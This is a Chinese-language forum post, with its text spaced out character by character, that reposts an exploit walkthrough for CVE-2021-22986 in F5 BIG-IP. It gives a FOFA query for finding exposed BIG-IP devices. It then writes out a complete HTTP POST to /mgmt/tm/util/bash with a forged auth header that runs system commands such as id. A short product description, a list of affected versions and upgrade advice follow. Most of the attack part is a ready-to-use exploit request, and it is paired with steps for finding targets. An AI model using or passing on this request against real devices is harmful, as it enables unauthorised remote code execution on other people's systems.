搜索

[737] 2021-03-20_（CVE-2021-22986）F5BIG-IP远程代码执行漏洞

文档创建者：s7ckTeam
浏览次数：54
最后更新：2025-01-16
2021-03-20_（CVE-2021-22986）F5BIG-IP远程代码执行漏洞 （ C V E - 2 0 2 1 - 2 2 9 8 6 ） F 5   B I G - I P   远 程 代 码 执 行 漏 洞 黑 子 黑   b g b i n g 安 全   2 0 2 1 - 0 3 - 2 0 这 里 我 们 使 用 f o f a ， f o f a 语 法 如 下 t i t l e = " B I G - I P & r e g   ; -   R e d i r e c t " 我 们 随 便 点 一 个 进 去 接 着 我 们 使 用 e x p P O S T   / m g m t / t m / u t i l / b a s h   H T T P / 1 . 1
执 行 w h o a m i 命 令 试 试 来 个 p w d ， 当 前 目 录 试 试 P O S T   / m g m t / t m / u t i l / b a s h   H T T P / 1 . 1 H o s t :   x x x . x x x . x x x . x x x : 8 4 4 3 C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   4 1 C a c h e - C o n t r o l :   m a x - a g e = 0 A u t h o r i z a t i o n :   B a s i c   Y W R t a W 4 6 Q V N h c 1 M = X - F 5 - A u t h - T o k e n :   U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n { " c o m m a n d " : " r u n " , " u t i l C m d A r g s " : " - c   i d " }
F 5   B I G - I P   是 美 国   F 5   公 司 的 一 款 集 成 了 网 络 流 量 管 理 、 应 用 程 序 安 全 管 理 、 负 载 均 衡 等 功 能 的 应 用 交 付 平 台 。 近 日 ， F 5 发 布 了 F 5   B I G - I Q / F 5   B I G - I P   代 码 执 行 ， 代 码 执 行 的 风 险 声 明 ， F 5 安 全 公 告 更 新 了 B I G - I P ， B I G - I Q 中 的 多 个 严 重 漏 洞 。 建 议 广 大 用 户 及 时 将 f 5   b i g - i q , f 5   b i g - i p 升 级 到 最 新 版 本 ， 避 免 遭 到 攻 击 。 影 响 版 本 ： F 5   B I G - I P   1 6 . x :   1 6 . 1 . 0 . 3 F 5   B I G - I P   1 5 . x :   1 5 . 1 . 0 . 4 F 5   B I G - I P   1 4 . x :   1 4 . 1 . 2 . 6 F 5   B I G - I P   1 3 . x :   1 3 . 1 . 3 . 4 F 5   B I G - I P   1 2 . x :   1 2 . 1 . 5 . 2 F 5   B I G - I P   1 1 . x :   1 1 . 6 . 5 . 2 b g b i n g 星 球 ： 渗 透 测 试 , 内 网 渗 透 , S R C 漏 洞 分 享 , 安 全 开 发 , 安 全 武 器 库

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理